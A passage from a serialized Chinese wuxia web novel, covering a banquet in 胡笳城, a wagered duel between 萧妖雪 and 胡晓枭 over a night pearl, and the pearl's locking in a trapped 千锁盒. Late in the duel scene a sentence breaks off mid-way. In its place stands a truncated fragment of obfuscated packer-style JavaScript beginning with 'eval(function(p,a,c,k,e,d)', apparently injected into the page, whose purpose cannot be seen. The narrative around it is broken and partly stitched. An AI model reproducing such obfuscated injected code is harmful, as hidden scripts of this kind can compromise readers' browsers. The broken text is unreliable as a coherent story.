这一夜胡笳城中的每个人都有自己心思，大雪会掩盖一切痕迹，但是又会在阳光之下，冰雪消融之时，显露无疑。 萧云雁小记： 今日的东佛寺外飘着小雨，青石板被晕湿倒映着昏暗的天空还有那座古香古色的藏经塔。今日的院中没有扫地僧人，只有雨滴冲刷着地面，昨夜或许是一场大风，院子一旁的古树落了不少枯叶，但是古树之下的嫩芽却格外翠绿。 吱呀～宁静的院落中传来沉重木门开启的的声音。藏经塔中走出一个女子，正是一月前进塔潜修的萧云雁，虽然整日泡在这藏经塔中，但是此时的萧云雁面上却看不到半分不堪，反倒整个人容光焕发，这一月的研读，让她的气息发生了翻天覆地的变化。原本武人身上不可避免的杀气，在此时的萧云雁身上没有外露出半分。 漫步踏入雨中，虽未撑伞，但是雨滴却没有半分沾湿她的衣裙。信步走出院落，却见到回廊中站了两人。这二人正巧萧云雁都认识，一人正是那日上云阁死缠烂打跟着自己的少年，只是他眼中的火光似乎暗淡了。另一人则是辩武大会最后替自己说话的那位德王殿下，只是他现在的面容带了几分忧愁。 此情此景院中仅此三人想必这二位故人的来意不言而喻了。 “二位是在等在下？” “萧姑娘，进屋一叙吧。”周钦德伸手一引，将萧云雁引进了一旁的会客厅。徐战和袁清早在屋内布置好了茶水，几人坐定萧云雁也算看清了几人的表情，都不算轻松，特别是武清，在她印象中武清虽然聒噪，但是总给人一种夏日骄阳的感觉，而眼前的武清却浑身散发着一股戾气。而且他竟然还是和这位德王一起来的，看来在自己闭关的这段时间内，江湖上应当是发生了不少事。 “德王殿下，今日前来所为何事？这几位又是？”萧云雁并未见过徐战和袁清，对于为何今日武清会和周钦德一起出现也是摸不到头脑，这一切似乎只有这位德王殿下可以解释。 “萧姑娘，这两位是我的随从徐战、袁清，至于这位你们应当认识。今日我们来是想请你帮个忙。” “帮忙？怎么……” 萧云雁话还没说没完，就听见武清那边扑通一声，转头就看见这他跪在地上，这可把萧云雁吓了一跳，她不像周钦德那样王公贵族，对下跪这事司空见惯，她一个青楼中人，往日都只有她们跪别人的，今日这到底是要干嘛。一个分封王要请自己帮忙，一个秋水剑给自己下跪。 还不等萧云雁从这震惊中缓过神来，武清就开口说道：“武清求萧姑娘杀了那单骁。” “杀单骁？”萧云雁不解，但是让这人这样跪自己那可是会折寿，急忙先把人扶起来，又疑惑看向周钦德。 “他说的也没错，只是我们不是简单的杀。” 窗外的雨不知不觉间又下大了，打在屋檐上噼里啪啦。风也大了，那棵古树被吹的唰唰的响，又落了不少枯叶。 25. 胡笳之行3 胡笳城的宴会总是从中午过后就开始，西域的人爱喝酒、爱吃肉，这样的宴会，若只是喝晚上几个小时，那是根本不够的。周明理午饭之前就来到了萧妖雪落脚的客栈，伙计上去通传了一声，二人便相伴出了客栈。 周明理叫她说的是去用午膳，萧妖雪本以为是要去什么酒庄茶肆，没想到周明理将她带到了一个街边的小摊店，老板卖的汤面，此时已是午饭时间，老板忙得热火朝天的，摊子上坐的都是胡笳城的寻常百姓。周明理和萧妖雪寻了一张角落处的桌子坐下，周明理用西丹话给老板说了一段，老板也是乐呵的一点头，便去忙活了。 周明理看到萧妖雪略带疑惑的眼神，解释道：“胡笳城有不少西丹的居民，他们世代都住在胡笳城，后面因为两国国土变化，胡笳城名义上归了东梁，又来了不少东梁人，两国的居民在这里短暂的达成和谐，但是一些西丹人还是不愿意学习东梁话，所以他们的生活也会比较孤僻一些。但是想这个老板，就不一样，他煮的一手好面，价格卖的又便宜，不少东梁人也愿意来他这吃。只是他觉得自己年纪大了，学不来东梁话，索性也不学了，反正要是你不会西丹话，你就指指点点他也能看懂。所以这生意倒是也没受到影响。” 萧妖雪了然的点了点头，看向周明理道：“我只是没想到，东梁三皇子竟然也会西丹话。” 周明理一笑，略微有些不好意思的摸了一下鼻子道：“在这生活久了自然就会了。再说了胡笳城那二位他们说到什么重要的事情都是用西丹话，我若是不会点西丹话，那岂不是要吃大亏。” 二人正说着，老板已经笑呵呵的把面端上来，这一碗汤面汤色清亮，上面撒上老板自制的辣椒，面条根根分明。都说了西域人爱吃肉，这家面店也是把这特性发挥到了极致，碗内的牛肉切成大片，泛着淡淡的青光。再加上西域用料重，整个汤底散发出浓郁的香气。萧妖雪本就没有吃早饭，此时闻着就食欲大增。二人一碗面下肚后，周明理在桌上留下了一颗银子，这银子就算在京都恐怕都能吃上四碗面了，萧妖雪疑惑的问道：“这胡笳城的面这么精贵？” 周明理看了看银子，又想想了道：“胡笳城的位置太偏了，虽说是西域，但牛羊也不多，风沙大，连水都贵，这面自然也贵。那老板是实诚人，每次给浇头给的都够。平日里若是有人溜单，他也就嚷嚷两句。所以我们这样有能力自然也愿意多给点。” 萧妖雪内心想到：“这位三皇子，还有如此体贴民生的一面。” 二人走后，面摊老板收拾好了桌子，拿起那块银子掂量了一下，放入口袋。表情严肃的向着二人离去的方向看了好一会，才恢复乐呵的神情，不过没过一会就将打烊的牌子挂了起来，收拾东西离开了。 不一会胡笳城主江秋鸿就收到了一封简信，上面就写着：深浅难测。 江秋鸿将那张字条放在油灯上，火焰很快就吞噬了纸张，只留下一撮灰烬。 就在这时，胡笳城的少城主胡晓枭推门而入，闻到屋内淡淡的烟熏味，胡晓枭看了一眼母亲，今日江秋鸿已经为之后的晚宴画好了妆容，虽然江秋鸿已经是年近半百的人了，但是胭脂粉一画上，还是风韵犹存，虽然鬓边的头发已经开始泛白，但是这恰恰为她添了一根岁月的痕迹。 “母亲。”胡晓枭躬身行礼道。 “枭儿，你最近练气云掌如何了？“ “回母亲，气云掌九式我已经牢牢掌握，现在已经到了化气成型的地步了。” “化气成型，不错，当年你父亲达到这个地步也用了五年，你能在这个年纪达到确实不错。今日宴会上，可愿展示一番？”江秋鸿问道，听到这话的胡晓枭也有些迷糊，这胡笳城里人都是个什么身份自己也都清楚，除非让自己和那三皇子打，但是那三皇子何等身份，这怎么还会亲自上阵比武献艺，岂不给自己掉价吗？ 但既然是母亲的命令，又哪有不遵守的道理。胡晓枭也是应下。毕竟他现在的实力，就算是那些上了武榜的人自己也有一战之力，只是母亲一直不愿意让自己展现实力，如今有这机会，胡晓枭哪管对方是谁，对能展示自己的实力一番兴致盎然。 恭敬应了一声，胡晓枭便打算退出去，正当他要出门时，江秋鸿又叫住了他，“枭儿，你当真不愿继承这城主之位？” 胡晓枭和江秋鸿因为这个问题争论过很多次，胡晓枭一直坚持自己要去游历江湖，江秋鸿则是一点都不希望他离开这胡笳城。 所以这次问话的结局也是显而易见，胡晓枭还是给了和之前几次一模一样的回答。 江秋鸿，略感疲惫的点了点头，便让他下去了。 此时的胡晓枭也有些摸不到头脑，之前二人一谈论到这个问题，必然是吵得天翻地覆，这次母亲怎么就这么淡定呢？他想不通，江秋鸿也想不通，这江湖到底有什么让他向往的。 看着关上的房门，江秋鸿又是一声叹息，这小子一心想着出去看看，他又怎知道，这江湖要变天了，他身负胡笳城气运的入了这江湖，恐怕要被不少人觊觎，是时候给他寻一方庇护，前段时间云阁送来过拜帖，希望与胡笳城的关系更进一步，但是在江秋鸿早年行走江湖的时候，她不知为何，对于云阁总没有多好的印象。又或者西域名声大噪的武清宗，但是这个宗门影响力仅限于西域，不知道可以护枭儿到何等地步。最后也是江秋鸿最不愿意找的——潇湘阁，毕竟一男儿在外寻一青楼庇护，这成何体统，但是似乎他们确实是最有力的。 江秋鸿也是为什么这次愿意请萧妖雪来这晚宴，自那日萧妖雪进得胡笳城，她就派人跟着，却跟到潇湘阁附近就跟丢了，而之后潇湘阁中的人传来消息说那日阁中来了一个令史。若如此一联系，萧妖雪很有可能就是就是那位令史，若是枭儿将来能得她庇护，江秋鸿也放心了不少。 在面摊吃完饭的周明理和萧妖雪二人，又在胡笳城里兜兜转转地逛了一圈，周明理给萧妖雪详细的介绍了胡笳城，从他的介绍中可以听出，他确实对这座城太熟悉了。要萧妖雪来说，他熟悉这城中的酒肆钱庄，倒也不稀罕，但是他竟然连哪家的瓜果实惠，哪家的米酒醇香都熟悉，这着实有点超乎萧妖雪的想象了。胡笳城很大，但好在胡笳城主的府邸距离萧妖雪所住的客栈不远，二人就这样走走逛逛一路步行去到了胡笳城主的府邸。 此时胡府门口已经有不少宾客，不过大多数人都是坐着马车来的，胡府门口的马车排了好长一队，周明理也不介意，步行而来掉了身价，直接带着喜爱妖雪进了胡府，其他宾客看见二人，丝毫没有因为他们没乘马车，又或者身旁没有侍从跟随而有半点不敬的，而是看到二人后恭敬行礼，但是表面的恭敬下都掩藏着一丝惊讶。 萧妖雪又怎会漏了他们这般小表情，走过人群后就对着周明理问道：“你不常来这样的场合？” “非年非节，来了做甚。”周明理一副就是我最高清的态度。 “那你今日还来？” “今日不来这好处可要被别人占了去，那我还不亏死。”说罢还意味深长的看了萧妖雪一眼。 原来沙漠里的狐狸这样叫呀(??;)萧妖雪心想。 说话间已经到了胡府的大厅，有不少人已经落座，正在正在与邻座的人攀谈着，周明理和萧妖雪的进入，让大厅安静了一瞬间。在侍女将二人引至座位后，又爆发出比刚刚更热烈的讨论。 萧妖雪与周明理的座位就在主位之下，而他们二人座位均在主位左侧，右侧又单设置一位，恐怕是留给她那儿子的吧。再其下就是受邀前来的其他宾客，分作两边，中间留了一块很大的空地。在宾客坐的差不多了，就有舞女登场，这些舞女穿的都是流云纱，舞动起来更显轻盈，配合上西域的乐器，让女子原本柔美的舞姿添上了几分力量感。台下的不少人已经在那玉足轻踏出的一声声鼓点中逐渐迷失。 反观身旁的周明理，似乎对那舞蹈一点都不感兴趣，只是专注的喝着杯中酒。 萧妖雪做为女子对那些个跳舞的也不感兴趣，可是光喝酒又太过无聊，便想着和周明理聊点什么。但她还没想好问什么，周明理却率先开口了：“今天下面坐的多是胡笳城的大商贾，胡笳城不似其他城池，商是商，官是官，在这里谁的有钱谁就有说话权。” 得了话头，萧妖雪也就顺水推舟的聊了起来：“那按殿下的说法胡笳城城主和您这位胡笳郡王岂不是最不没有说话权的，还是说你们这些‘官’其实都是做着大生意的人。” 在东梁的东梁的官场之中最忌讳的两件事，一件是官商勾结，一件就是武林入仕。这胡笳城虽地处偏僻，但也是东梁的城池，这胡笳郡王虽然封地为王，但也是周家的子孙，这朝庭忌讳的事，他若做了，恐怕根本没有辩解的机会。 周明理此刻心里有些郁闷，要说自己好心给他介绍这胡笳城的局势，她倒好挖个坑给自己跳，只能无奈一笑道：“萧姑娘多虑了，胡笳城城主日理胡笳城大小事宜，是这些商人的顶梁柱，胡笳城的商人都信任她，她也确实为胡笳城做了不少贡献，把这胡笳城治理的井井有条。至于我呢，就是一个闲散王爷，等着老母亲一步登天，我恐怕很快就会东梁遗忘，成为一个普普通的百姓。” 萧妖雪听了这话也是不置可否的一笑，要说呀这帝王家怎么会有没有野心的种，周明理这么说也不过是因为现在没有这个机会，若真是得了这机会，恐怕这恶虎比什么都凶横。 萧妖雪觉得再继续这个问题，他俩很有可能在这里就要打起来了，于是便转移了话题“殿下，若是能这么想，那确实荣华半生不是问题。不知道这位城主有何过人之处能够震得住这满城的豺狼？” “胡家有一本武功秘籍，练的是气云掌，共九式，九式层层叠气，气云掌大成，第九式打出气吞山河，有改天换地之势。” 确实气云掌这武功，但是是在谷 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就在萧妖雪打算问问周明理，这胡铭和胡晓枭之间到底是什么态度时，台下的歌舞散去，一个身着华服的中年妇女走了进来。这女子的衣服上，不似京中那些贵妇纹花秀凤的。仔细一看这绣的是一只鹰，在西域鹰是权力和地位的象征，他们象征着守护和开拓，一般是绣于男子的服饰之上，萧妖雪也是第一次看女子着鹰服。但大抵是江秋鸿的气场太过于强盛，这一时之间气势远甚台下坐的那些男子，这一刻萧妖雪有些明白了为什么胡令放心把这胡笳城交给她。 她身后一侧赶着一个稚气未脱的男子，想必这就是周明理所说的胡晓枭。此子确有天赋，但是必然是心高气傲之人，若是有一日能退去她的这股傲气，执掌胡笳城他定然手到擒来。 至于另一侧则跟着一个中年男子，这人长相就不似江秋鸿和胡晓枭这般大气，反倒透着一丝猥琐，就像那阴沟中见不得阳光的老鼠，但是从在场客人对他的态度来看，这人应当就是胡令的弟弟胡铭。 “看见了吗，那人就是胡铭，我上次见他还没着蔫巴，听说他在江湖上得了一本秘籍，之后就整天潇湘阁，我真怕他哪天说不好就练死在那鸳鸯被中。”周明理见萧妖雪盯着那三人看，就歪过身子低声给萧妖雪介绍道。 “你怕啥，你又不是他哥。”虽然说潇湘阁本来也是胭脂红粉之地，但萧妖雪不知怎么地听着周明理这话一丝火气就冲了上来，一句话就呛了回去。周明理自然是不知道哪里说的不合这位大小姐心意，恰巧江秋鸿等人已经走了过来，便不好得再说什么。 周明理与萧妖雪是客，在江秋鸿进来时就已经起身，江秋鸿带着胡晓枭拾级而上，路过二人时也是倾身施了一礼，之后各自落座。 在上位落座的江秋鸿，就不停的打量着萧妖雪。早在她刚认回李家时，江秋鸿便收到消息，说此女武艺不错。而在她来到了西域，江秋鸿就收到了两封态度截然不同的书信，一封希望她死在西域，一封希望她平安归去。江秋鸿明白，她现在的选择代表不仅仅是她个人更是整个胡笳城。 而在萧妖雪看来，胡笳城主的实力在武榜之上可以跻身十五之前，只是这些年她都不出手，所以武榜之上并没有她的名字。至于胡晓枭年纪比萧妖雪大了几岁，体内气息流转非常平静，表面上如同那一潭静水，但若仔细感受那平静的水面底下确实乱流涌动，看来这胡晓枭并没有他自己以为的如此平静，这胡家母子二人，也没有那么表面上那般和谐，至少胡晓枭是这样想的。 一声“开宴”，鼓乐声再度笼罩整个宴会，却比刚刚的更有力道，似那兵戈将起，刀光暗现。 东梁小记： 开元四年初天降瑞雪，但是传来的并非是好运，圣人病重，宫中的药剂司已经忙得不可开交。 太子周钦铭任监国之职，一切看起来的都井井有条地等待着圣人驾崩的消息。 怎奈何表面风浪越平静，这之下的涡流就越致命。 自周钦铭亲政后，就重用大将军单骁。朝臣对此倒是没有什么怨言，单骁是开国元老，当年为东梁建国可谓是立下赫赫战功。 如今太子刚刚理国也确实需要这样一位重量级的开国元老来压阵，再者说这位老臣的风范却是可圈可点，他就像是没有一丝私心一般，只要谏言合理，他都是极力推从，让当时的朝政一时之间风朗气清。 单骁这样的美名也很快传遍了江湖，但是与此同时传遍江湖还有一件事，那便是将军阁的英雄帖，江湖上不少称得上名的人都收到了这份英雄帖，内容很简单，便是请君一叙。 同样不少的豪杰去了便流连忘返了，这可是不少他们这群闯江湖的人日思夜想的美差。将军阁许诺，只要他们入了将军阁，那便是单将军的朋友。 单将军和等人，那可是现在两人之下，万万人之上。单将军何等品质，只要跟了单将军那未来可不就是平步青云。 所以这个将军阁在江湖上声名鹊起，不少人慕名而来，相传日日门庭若市，凡是收了英雄帖无不拜入门下。 就在英雄帖发出的第十日，将军阁门口来了一女子，这女子一身红装背了一柄长剑，看起来招摇至极，但是也飒爽至极。 而这位女侠同样是拿着英雄帖进了将军阁，自此也便成了将军阁座上宾。 26. 胡笳之行4 酒过三巡，菜过五味，台下那些阿谀奉承的话，也快说腻了。 突然舞乐散去，整个大厅沉默了不少。众人的酒意随着这鼓乐声也散去不少，纷纷转头看向上坐的江秋鸿。 萧妖雪本就不喜喝酒，坐下来就找着各种菜吃了一遍，那一壶酒却还没有下去半壶。反观身旁的周明理，这酒已经加了第三壶了，人看起来是一点醉意都没有，只是话好像少了不少。 江秋鸿见大家都看向了自己，便开口道：“今日大家欢聚于此，吃好喝好是大事，另外一件大事也是欢迎我们远道而来的客人，李府的千金萧姑娘。” 听到这台下的一些人已经懵了，李府的千金？不在京都好好呆着跑到胡笳城来做甚？这李府的千金怎么不姓李呢？伴随着疑问，众人将目光投向了坐在江秋鸿下位的女子。 萧妖雪见状也不怨江秋鸿说话不清不楚，只是对着台下微微一颔首，就继续等着江秋鸿继续往下说。恐怕接下来就是她为何要如此匆忙的办这宴会的真正原因了。 江秋鸿继续道：“早就听闻萧姑娘武艺卓绝，恕我冒昧，不知今日可否为我们展示一番？” 图穷匕首见，这恐怕就是胡笳城主真正的盘算，看来这是想摸摸底，看看这京都声名鹊起的李家千金到底是个什么实力。但是台下坐的显然实力平平，江秋鸿亲自出手又容易落人口舌，那么这对手……萧妖雪看向了坐在对面的胡晓枭，此人似乎也不喜饮酒，现在看来整个人都还清醒得很。 果然在得到了萧妖雪肯定的答复后，江秋鸿就说道：“我儿胡晓枭也算自幼习武，我看你们二人年纪相当，比试一番，也不算我胡笳城欺客。只是这单纯的比试也是略显无趣，不如我们来下个赌注吧？” 别说西域好赌，就连京都中那大小赌坊也不下百个，比武押注是最常见的玩法之一，所以江秋鸿提出这要求倒也不为过，甚至萧妖雪还有些期待她提出这要求，不然胡笳城的那颗夜明珠她还真不知道怎么去取。 “江城主所言极是，只是不知道这胡笳城希望赌点什么？”萧妖雪问道。 不错是胡笳城希望赌什么，而不是她江秋鸿希望赌什么。 “若是枭儿赢了，胡笳城愿三书六聘迎娶萧姑娘，只望届时萧姑娘莫要拒绝。” 此言一出台下哗然，胡晓枭和萧妖雪若真结为连理夫妻，那胡笳城的立场就很明显了，台下的也不乏有西丹的商人，听了这话立刻就不乐意了，这悉悉簌簌的谈话声一下就大了起来，但转念一想，这京都路途遥远，而且是姑娘嫁过来，似乎就算这岳父想掺一脚，这手也没这么长，恐怕还是有一定难度。倒是以后胡笳城有了京都的靠山，恐怕城里做生意也会更好做一番。 听到这话周明理，突然抬头看了一眼萧妖雪，眼神中有些说不明的意味，但是很快就消失了。 至于萧妖雪本人听了这话，只是眉头一皱，不是说这胡家和父亲有仇吗，怎么现在又想迎娶女儿，莫不是想着把她娶过去折磨至死吧。 但是这场赌注注定不会是这个结果，所以萧妖雪，也大胆的应了下来：“好，我答应江城主，但是若我赢了呢？” “萧姑娘想如何？” “不如我赢了，江城主就将那夜明珠赠予我如何？” 这次台下的声音更大了，这夜明珠怎么能说交就交呢，这可是胡笳城的象征，这比武看来一定是不能输。 就在台下众人窃窃私语的时候，江秋鸿思考片刻已经应下了萧妖雪，招来两名侍女，二女手中各执一盘子，一黑一白其上写着对赌上放的名字。两位侍女走到台下，每一个来参宴的宾客都需要在盘中放下自己的赌注，侍女转了一圈，写着胡晓枭的黑盘装的满满当当，而写着萧妖雪的盘却一个子都没有。两个侍女来到了周明理旁边，周明理想也不想的掏出了一枚玉佩放在白盘之中，这枚玉佩萧妖雪认识，东梁的每个册封皇子都会有一枚，此时周明理压上了这枚玉佩就相当于压上了他胡笳郡王的身份，这可比另外那堆得像小山似的金银之前多了。 见在场众人都下注完成，江秋鸿微微一点头，场上的鼓乐再次响起，这次与其说是伴乐，倒不如说是战鼓，萧妖雪和胡晓枭走到了厅中，抱拳鞠躬，等待三声鼓响过后，二人气势同时暴涨。 胡晓枭率先向前拍出一掌，这一掌在习武人看来也不过平平，萧妖雪也是侧身就躲了过去，但是紧着胡晓枭一手掌一手拳同时打出，显然力度就比刚刚两掌重了不少，萧妖雪也同出一掌挡住了胡晓枭的那一掌，但却在快速掌风相击后快速后退一步再一次让开了胡晓枭那一拳。 气云九式讲究式式有回应，之后的威力才会更大，所以最不便应对的就是不喜正面对抗的对手，若是没有对手的还手，九式打完威力也不过平平。胡晓枭三式中落空了两式，已经感受到不对劲，恐怕对手是知道这气云九式的弊端的。也不犹豫快速闪身后退，随手抓起旁边的酒壶，抛至空中，又是一拳击中酒壶，银质的酒壶与他手相接的地方瞬间凹了进去，酒壶向着萧妖雪飞来，而胡晓枭也跟随酒壶向萧妖雪冲了过来，只是与酒壶一左一右对萧妖雪形成了夹击之势，而此时萧妖雪经过之前两次后退已经退到了台阶之前，显然是不可再退了。刚刚胡晓枭已经击中银壶已经又去了一式，现在若萧妖雪接下这一式二人必然就会继续缠斗在一起，那么待到九式成，恐怕威力就不容小觑了。 但是现在的萧妖雪也别无选择，同样一掌递出与胡晓枭打来那掌相击，气息从二掌之间迸发，直接击飞了飞向萧妖雪后脑的那个银壶。在外人看来这个过程不过是眨眼之间，但是他们二感受到却是一场漫长的气息对撞，虽然对萧妖雪来说，胡晓枭这样的攻击若自己出全力肯定很快就可以击退，但是她也忌惮气云九式的威力，若此时就出大力击退了胡晓枭，恐怕下一式的威力会翻着倍的提升，所以萧妖雪递出的这一掌与他的第五式力道相近，这也保证之后胡晓枭不会打出什么连他自己都控制不了的九式，而胡晓枭也看得出萧妖雪的用意，所以也并不贪恋这一式就能占到上风。 二人气息流转一轮后，还是未分出胜负，胡晓枭就先出下一式，只见他先弱了气息，在这一掌输了一局，但是很快第六式气息就聚集了起来。这次胡晓枭出不在掌或者拳而将气息集中在腿上，横扫过去，萧妖雪则是借着刚刚胡晓枭示弱的那一掌前冲然后蹬地而起在他脚即将扫过来的时候，从他的头顶翻了过去，躲过了这一脚，但是胡晓枭也预料她会这样躲，一击未中却并未收力，而是踢到了台阶之上，木质的地板瞬间爆裂开来，发出巨大的响声。 萧妖雪来到胡晓枭身后，并未乘势偷袭而是快速拉开距离，手抚腰而过，流彩剑，盘绕在周身，胡晓枭第六式虽未得到敌手的回应，但是木板的阻拦还是给了他第七式一些提升。只见他回身后并未再靠近萧妖雪而是向着身侧虚虚一握，旁边一张空桌就微微颤动，再一引，那张桌子仿似有千万根线牵引一般向着萧妖雪飞去，这第七式又是借物发挥出来的，只要那张桌子破碎，那么这第七式就算成了，离第九式就只差一招。 萧妖雪牵引流彩剑冲向桌子，只见流彩剑分为十七枚穿过桌子，如此往返了数次，桌子速度肉眼可见的减缓了，最终缓缓落在地面上，在众人惊诧的目光中化作一堆粉尘。但是只有萧妖雪和胡晓枭知道，这其中蕴含了多少力量，看似轻飘飘一堆粉尘，其实都是二人气息在其中相碰形成的。 就在胡晓枭想对萧妖雪打出第八式时，离胡晓枭更近的流彩剑先从那堆粉末中动了起来，化作十七道流彩围住了胡晓枭，胡晓枭本想集中力量打破一个缺口，却还未等他蓄力完成，这些碎片就齐齐向中心的胡晓枭刺去。此时进攻是不可能的，而且胡晓枭清晰的感受到，这十七枚碎片的力度，除非他散去现在第八式的力量才能挡下这一击，但是这是不是这女子全部的力量，他不清楚，不过此时的他别无选择。 气势瞬间暴涨，就在流彩剑即将刺到他皮肤的时候，原本流转于体内的气息瞬间爆裂开来，将流彩剑弹开，就听见一阵叮咚声，被弹开的碎片纷纷落地，提起最后一丝存于丹田的气息，化气成型，凝聚成一把匕首，却他抬头想看看那女子在哪里时，眉心处却多了一枚流彩剑的碎片，那距离只差分毫。 毫无疑问，这局他输了。 凝聚出来的匕首也再无力支撑，渐渐消散于无形，胜负已经显而易见了。 此时鼓声止住，场内一片寂静中，却突兀的响起一阵掌声，鼓掌之人正是周明理，周明理在二人对战之时又喝完了一壶酒，此时脸上已经微微泛红，掌声也显得有些虚浮，似乎是觉得掌声还不够打破这寂静，他又开口叫了一声好，这一嗓子也把一些人从呆愣的状态拉了回来，不置可否地鼓掌。 坐在高位的江秋鸿也回过神来，仔细想想刚刚二人的对战，江秋鸿以她多年的江湖经验，她可以肯定，刚刚萧妖雪用了最多不过六成的力量，更多是计谋上取胜。也就是说，若今日是她江秋鸿上场，萧妖雪未必真的会落败。 胡晓枭从战败的境况中回过神来，站起身整理下一下自己的着装，又对着江秋鸿跪了下去，道：“是我无能给胡笳城丢脸了。” 江秋鸿却并未多责怪他，只是说道：“枭儿不必自责，胜败兵家常事，萧姑娘武艺与计谋着实不一般，你此局落败倒也不亏。” 说罢她又看向萧妖雪，目光中多了一丝担忧，但是很快又被决绝代替了：“萧姑娘，我江秋鸿愿赌服输，这夜明珠就在此处。只是这珠子跟了胡笳城这么多年，我还是多嘴问一句，萧姑娘打算如何处置这珠子？” 台下的人在等待萧妖雪回答的时候，心都提到嗓子眼了，谁家心里都知道，江秋鸿问的不只是夜明珠，问的更是胡笳城，萧妖雪已经展示了自己的实力，若要取得胡笳城的权利也是轻而易举，更别说还有这虎视眈眈的胡笳郡王。 萧妖雪环顾一圈，只见那些富商脸上带着几丝焦灼与愁虑，上坐的江秋鸿虽然表面若无其事，但是萧妖雪可以感受到，她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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随着灯火的熄灭，萧妖雪手中夜明珠也瞬间发出了耀眼的光芒，并没有让黑暗在这厅堂之内停留很久。萧妖雪也是在此时看清了这珠子的样貌，那道蓝光并不是刺眼，如同水波流转一样包裹着被它照亮的事物，似乎可以让原本焦躁的心情安静下来，让原本乱窜的气息平稳下来。可是无论萧妖雪如何感知，她都不能在这一枚珠子上感受到一丝气息，更别说它还承载气运了。 仔细端详一枚珠子用不了多时，萧妖雪收回气息，原本即将熄灭的灯火又失了压迫，很快就恢复明亮，这大厅中除了那些富商满头大汗，就像什么都没有发生过一样。 萧妖雪又将珠子放回了盘中，众人的心也随之落了下来，但是接下来萧妖雪却从怀中拿出了一个盒子装住了那枚夜明珠。 就在宴会正欢之时，胡笳城外的一个猎户院中，一位老人正在将一支骨笛埋入土中，那一日用它换了那些钱，够他们生活不久了，或许土壤之中才是它最好的去处，不用再跟着他们在这世上受苦了。 胡晓枭小记： “娘，你找我有何事？” “晓枭，你来娘有件事想和你商量商量。” 胡晓枭从小在胡笳城过着丰衣足食的日子，城中的大小事务也都是江秋鸿在处理，他自小便无心那些事情，反倒是对胡笳城外的江湖充满了好奇。 今日是娘亲第一次如此严肃的与他商量，胡晓枭难免也有些紧张。 “晓枭，你现在已经是可以独挡面的男子汉，娘想择一个好日子，让你正式成为胡笳城的少城主。” “我？娘，这事这么着急吗？” “你不太愿意？” “我……”这样纠结的情绪，江秋鸿似乎从来没有在胡晓枭身上看到过，但是她现在有十成的把握，这孩子接下来会拒绝自己，只是她很好奇，他会说出什么样的理由。 “娘，我还不想当少城主。” “晓枭，娘想听听你的理由。”此时江秋鸿还抱有最后一丝期望。 “娘，我……我觉得我现在见识还太少了，我想再多看看外面的世界，我觉得这样对我日后继承胡笳城……会有帮助……”说到最后，胡晓枭的声音越来越小了，显然他自己对于这个说法都不是很相信。 “晓枭，你最近是不是去了你舅舅那？”胡晓枭会说出这话，和他那个舅舅胡铭定然是脱不了关系，这人简直就是胡笳城的老鼠屎。 “没有！”果然是果断拒绝的，这其中的道理不言而喻。 “晓枭，胡笳城现在如同站在山巅之上，稍有偏颇便会粉身碎骨，你懂不懂。我们根本无法承受你出去闯荡带来风险。”胡晓枭眼中江秋鸿几乎没有这般失态过，他不明白，明明现在看来一切安好，娘亲也还有余力继续治理胡笳城，为何却要这样要求自己。 胡晓枭心中越想越委屈，终究还是涉世未深，这样的委屈根本藏不住。“娘！我不明白，明明是你让我练的气云九式，如今我有能力保护自己我就想再出去看看胡笳城外的世界，有何不可……” 啪！话还没说完，胡晓枭脸上就结结实实挨了江秋鸿一巴掌。“你是我儿子，在我没改变主意之前想都别想。” 胡晓枭觉得眼睛异常酸涩，仿佛下一秒眼泪就要夺眶而出，他再也忍不住了，也不顾往日学的礼仪，夺门而出。 留在原地的江秋鸿内心同样不好受，这样的话她曾经听过一次，最后换来的却是新婚燕尔生死永隔。在没有十足把握之前，胡晓枭姓胡她不能再让他有任何危险了，纵使日后他会讨厌自己，她也会坚持这么做。 27. 胡笳之行5 千锁盒，当时离京前萧妖雪在李治书房看到了，只觉得机械新颖，便多看了几眼，李治见他感兴趣，便说把这千锁盒送给她，只是并未告诉她，这千锁盒如何解开，萧妖雪也权当是自娱自乐，有事无事便拿出来把玩一下，没想到就刚好在入了胡笳城那晚，给这盒子解开了。 之前答应了周明理会取得这夜明珠，但其实一时半刻萧妖雪也没想好，如何处置这枚珠子。那一日把这千锁盒揭开后，她就突然有了想法，一个两全其美的方法。 众所周知，胡笳城的把这夜明珠看得很重，若自己真要带它走，恐怕还没出西域命就先没了，倒不如把它留在胡笳城，只是帮它上道锁罢了。 这所谓的千锁盒却并不是谁都能解开的，这是赵江河在工匠司图库的角落中翻出来的一已经泛黄模糊的图纸。然后自己捣鼓了半旬有余，终于是把这千锁盒按着图纸给做出来了，但是他总觉得这其中还差点意思，又用了半旬改进图纸，最后得到了这个完整版的千锁盒。要说他这修改却将一个只能防的锁变的极具攻击性。只有每一步都正确解开这盒子上的密码，才能保证盒子里不被损毁，但凡一步出错，那么这盒子会带着里面的东西一同焚毁。这也是为何萧妖雪用了这么久才将这盒子破译开来。虽说是一个空盒子，但如此精巧的做工，若就这样毁了，也着实可惜。 不过好在萧妖雪还是成功的把它破解了，而现在这场面就是用它的最好时机。 萧妖雪当着所有人的面打开千锁盒，将夜明珠放了进去，盒盖上的锁落下，盒子的拨动盒身上的机关，就听见这盒子发出一阵霹雳噼里啪啦的响声。 萧妖雪将锁好的盒子交给侍女，然后对江秋鸿说道：“江城主，这个盒子叫做千锁盒，盒如其名上了锁要解开可不容易，但是也不无办法，若江城主周围有这能人，可以解开这锁，那就当萧某将这盒子送与胡笳城了，做为今日这顿饭的回礼吧。但是我还是要奉劝江城主一句，这盒子但凡解错一步，那里面的东西，我可不能保证完好了，当然强拆的话那我可以保证夜明珠必碎无疑。” 说罢萧妖雪停顿了一下观察着江秋鸿的表情，只见她似乎有点震惊，但又有些生气，大抵是因为现在的情况已经完全超出了她的预期。不过她也在快速的思考，很快这些表情都从她的脸上隐去了。 萧妖雪确定好江秋鸿已经明白了自己刚刚的意思，便继续往下说：“这夜明珠我带回京都也是累赘，不如就和这盒子一起留在这胡笳城吧，我日后若是想念了，我会亲自来看看它。” 在座的大多是老奸巨猾的商狐狸，思考片刻也都听出了萧妖雪的意思，这夜明珠没有离开胡笳城，那么他们也没有伤她的理由，但是现在珠子上了个锁，只有眼前这姑娘能打开，若有一日她想取走，没人拦得了她，若他们有不当的行为，这夜明珠会毁了，这胡笳城也会毁了。 